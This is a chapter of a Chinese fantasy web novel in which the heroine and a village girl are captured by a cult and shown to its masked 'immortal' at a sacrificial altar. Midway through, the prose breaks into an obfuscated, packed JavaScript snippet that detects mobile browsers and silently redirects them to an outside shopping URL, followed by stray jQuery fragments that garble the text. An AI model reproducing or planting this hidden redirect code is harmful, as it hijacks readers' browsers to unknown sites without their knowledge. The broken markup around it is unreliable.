这一路上，荆南棘只顾着出神，而鹈鹕的嘴就没停下来过。
“看你的穿着，是从很富饶的地方过来的吧，我还没见过村里有人穿这么好看的衣裳呢。不过也可能是因为你长得好看，还有点……眼熟。可能是和话本子里的漂亮姐姐长得很像吧。
“快看，前面就是我家——”
鹈鹕突然停下脚步，不说话了。
荆南棘紧跟其后，险些撞上去。
恍惚中抬起头，一团火光烈焰灼眼。
再仔细看看，是一群举着火把的村民。
荆南棘乐观地说：“他们是等你的吗？大半夜的，你一个小孩在外面确实不安全。你们村的人还怪好的。”
鹈鹕默默往后退了两步，“你见过谁家接小孩的人，手上还拿棍子和砍刀的？”
人群中领头的男人看了过来，高喊道：“快看，她就是姮娘的女儿！抓住她，我们就都有救了！”
说话人向前一步，手中砍刀反射寒光。
领头的男人刚说完话，一位头发斑白的老者拉住了他。
他佝偻着背，语气卑微得如同在祈求：“姮娘已经走了，小鹈鹕还只是个孩子，和戾太女一点关系也没有啊。仙使，还是算了吧……”
领头的甩开了他的手，厌恶地在身上擦了擦，冷漠地说：“刘村长，当初是你答应仙长的，不想交出她也可以，等魇灵来了，你们村的人都等着去死吧！”
刘村长声音颤抖地说：“不、不可啊……”
荆南棘原本双手抱臂只是旁观，直到村民提到“戾太女”三个字。
自姜国开国以来，不，更准确地说，自十九州开辟以来，被正儿八经册封为太女的女子，在荆南棘死之前，惟她一人。
在“太女”前加上一个难听的“戾”，难不成是给她取的谥号？
“别墨迹了。”领头的男人一声令下，手指鹈鹕。
“抓住那个小孩！就是她的母亲四处造谣生事、为戾太女辩护，还画什么破画像，才引来了魇灵。仙长说了，抓住她，要活口。”
两旁的四名大汉举着火把走上前来，他们穿着相同的衣服，手背上有鸟羽状的刺青。
鹈鹕咽了咽口水，转头对荆南棘喊道：“你快跑！我来拦住他们！”
大汉们彼此对视一眼：“另一个女的是谁？”
“不知道，多半是同伙，一起带走再说！”
荆南棘：“……”
她无奈地瞥了一眼鹈鹕。
你可真会坑自己人啊。
·
半个时辰后，鹈鹕和荆南棘被捆住双手，带到了一处空旷荒野。
旷野的中心矗立着一座由巨木搭建而成的祭坛，四周围了一圈火把，在夜色中燃烧着不祥的光芒。
祭祀未开始，台下已聚集了密密麻麻的村民，应是从附近多个村庄而来。
方才，荆南棘没逃跑，老老实实地被抓了过来。
她虽然填饱了肚子，但身上还是没有力气，再加上天这么黑，人生地不熟，她连个火把都没有，能往哪儿跑？
况且，她也有些事情想要弄清楚。
这群村民方才提到了“魇灵”。
话里话外的意思是，魇灵正在四处流窜，并且很有可能攻击他们的村子。
但这不可能啊。
荆南棘分明记得，她死之时，十九州魇灾已平，为何才过了短短十七年，一切又倒退回了过去？
当荆南棘像待宰的羔羊一样，被扔进巨大的铁笼里时，她意识到当下不是愁这件事的时候。
鹈鹕毫无危险意识，只顾着为荆南棘感动流泪。
“阿南姐姐，我真没想到你这么仗义。我都那样喊了，你竟然也没有走，还陪我一起被绑在这里。
“哎，我真是太感动了，早知道就多带点你爱吃的贡品了。如果我们这次能活下去，我一定要和你结拜做姐妹！”
荆南棘厚着脸皮应下了：“不必如此客气，你年纪小我许多，叫我声姨母都差不多，姐妹就免了。你也算接济过我，明知你有难，怎好独自逃跑？不必太感谢我。”
顿了顿，又解释道：“其实，我并没有爱吃贡品这个嗜好，要是能活下去，我们还是吃些活人该吃的东西吧。”
荆南棘将话题引回正题，“话说回来，抓我们的人到底是何方神圣？”
“他们是斩枭会的人。”
“什么会？”
鹈鹕回忆道：“从我记事起，几里外的溪北村就一直信奉一个叫‘斩枭大仙’的人。
“听我娘说，大概是十六年前，赤松山里的玄枭们发疯作祟，在溪北村咬死了好多人。危难之际，有一奇人挺身而出杀死了所有玄枭，救了一整个村子的人。
“此事之后，这位奇人被称作斩枭大仙，得到了整个溪北村的信奉。”
荆南棘不以为然，“武艺高超的人多了去了，自称‘大仙’，也太狂了些。仙人已死，天下皆知。又何来的斩枭大仙？”
鹈鹕摇了摇头，一屁股坐在了地上。
“你果然是外面来的人，不清楚这小地方的情况。附近都是山路，行走艰难，而此地生活自给自足，几乎和外面没什么来往，谁会懂这些？
“更何况，这斩枭大仙是真有些本事在，能斩杀玄枭，还会治病救人，听说驱赶魇灵也不在话下。一个人只要有足够的本事，是人是仙又有什么区别？”
“撒谎当然是不行。”荆南棘不赞同鹈鹕的说法，她双手抱臂，问，“鹈鹕，你听说过那个传说吗？”
“啥？”
“百年之前，群仙陨落，十九州生灵涂炭，天地重归昏冥。天地间最后一名仙人，执长剑、登天梯，一剑劈开九天。于是清浊分，鸿蒙判，四时行之、万物生焉。
“仙人力竭，殁于天门之外，尸身化为二物：一曰朱雀，一曰白蛇。”
鹈鹕没听懂，“啥意思？”
荆南棘在她脑门上轻轻拍了一下，“意思就是！世间最后一个仙人在百年之前就死了，天下只有两个灵族，朱雀和白蛇，不过么，这两族的人也都死得差不多了。所以，这个斩枭大仙，根本就是骗人的。”
“哦，我好像听阿母说过类似的话。她老说，斩枭大仙是个骗子，仙人早就都死尽了。可是……”
鹈鹕垂下头，“如果有人能救回我娘，无论是谁，我都愿意相信她是真的仙人。”
荆南棘想摸摸她的头，手抬到半空，还是放了下去。
她清了清喉咙，又问：“既然斩枭会这么厉害，你为何会招惹到他们？”
鹈鹕委屈地瘪了瘪嘴，“哎哟，真是冤枉啊，分明是他们莫名其妙打上门来的。”
“咳、咳咳……”
二人身后传来虚弱的咳嗽声，她们这才发现牢里还有第三个人。
那是一位重伤的青年，一身灰衣遍布血迹，正紧闭双眼坐在角落。他的身后不知背着个什么东西，用一块破破烂烂的布包着。
青年应是受了很重的伤，半张脸都缠着纱布，看不清容貌，特别是一双眼睛，被裹得严严实实。
绷带下有残留的红色印记，像是没擦干的血痕，又或血泪。
鹈鹕转身看向他，小心翼翼地问：“兄台，你还好吗？你……”
话未问完，人群忽然爆发一阵欢呼，二人撇过头，看见有一人在万众瞩目中走上了祭台。
这就是传闻中的斩枭大仙。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915373|213301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>此人身材高挑健硕，戴着一副木质面具，上绘彩纹，形如朱雀。衣服上缀满了彩色鸟羽，头上亦戴着巨大的发冠，同样用羽毛所打造，如一双羽翼随时可振翅而飞。
众人匍匐跪拜，齐声道：“拜见上仙！”
荆南棘见此场面，往前走了两步，对这位大仙的好奇更重了。
过了好一会儿，斩枭大仙始终一言不发，未让台下人起身。
村民们就这么久久跪着，四周寂静，只有风声呼啸。
在荆南棘快等得不耐烦前，大仙终于开了口：
“抬起头来，看着本仙！本仙不过几日不曾露面，你们中的许多人，就已经心怀鬼胎、蠢蠢欲动了！
“多可笑啊。你们中的许多人已经忘记了九天的愤怒，以为没有本仙，只靠你们可怜的力量，庄稼照样生长，孩童永葆健康。简直愚蠢至极！”
斩枭大仙原是个女人，声音异常地粗粝威严，每一句话都像石头打磨成的棍棒，捶打着台下人的脊梁。
村民中不乏年轻力壮的男子，此刻却跪在地上，在惊恐之中抖成了筛子。
“本仙不介意再提醒你们一次。今日，七月十四，是戾太女荆昭的忌日。十七年前的同一天，她自戕于大火，尸骨无存、魂飞魄散。而你们中许多人的父母、兄弟姐妹，却在大火后依然愚蠢地追随戾太女，不仅自己身首异位，还触怒九天降下天谴！”
荆南棘纳闷儿地歪了歪头。
又有她什么事儿啊？
大仙接着说：“十六年前，玄枭窜行，以人为食，无数家庭毁于其爪。当初，是本仙向九天寻求宽恕，才斩杀玄枭，庇护了你们十六年。而你们呢？过了十六年安稳的日子，竟将血脉中的罪恶忘得一干二净！”
斩枭大仙走到祭台边缘，隔着几丈远，刀子般的目光凿在鹈鹕的脸上。
“你们中一些自诩聪明的人，竟还敢为戾太女供奉香火，将阴邪之气再度引入人间。最终惹怒上天，再度降下惩戒。如今，魇灵横行，人间将再逢浩劫！”
大仙长袖一甩，重新走回祭台中央。
荆南棘听了半天也算听明白了一些内容，立刻凑到鹈鹕耳边，低声道：
“我没听明白，她刚才是说附近有魇灵出没吧，可是这和我……和戾太女有什么关系？看她刚才的眼神，怎么好像你才是罪魁祸首一般？”
鹈鹕咬着牙点头道：“前几年，魇灵重现人间的传闻就在各地流传，但赤松山附近一直无恙。直到今年暮春时，隔壁几个村突然死了人，说是魇灵所害，搞得附近人人自危。
“斩枭大仙庇护的村子一直不受侵扰，她公开声称，自己有能力抵抗魇灵，但若想得她庇护，就必须加入斩枭会。
“一个月前，我们村子里有人被魇灵所杀，村长向她求助，可她却不愿意帮助。她竟然说，我阿母供奉罪大恶极的戾太女荆昭，为其立画像、奉香火，将煞气引来了我们村子，要求阿娘三跪九叩向上天认错。”
鹈鹕说着，不禁攥紧了拳头。
“那你阿母……是如何死的？”荆南棘问。
“斩枭会这么一闹，村民们都来苦苦相逼。阿母本就身体不好，从此只能闭门不出，心情郁结之下，忽有一天吐出一口黑血，再没能挺过来……”
鹈鹕恶狠狠地瞪着台上之人，脸色青白。
黑血？
荆南棘眉头一皱，欲言又止。
斩枭大仙又进行了一番慷慨陈词，然后突然停下，拍了拍手。
很快，她的信徒携一副画卷登上祭台。
卷轴打开，画上是一女子，头戴螭虎冠，身着玄色祥云纹长袍，剑眉星目，眼神坚毅。
与荆南棘长得一般无二。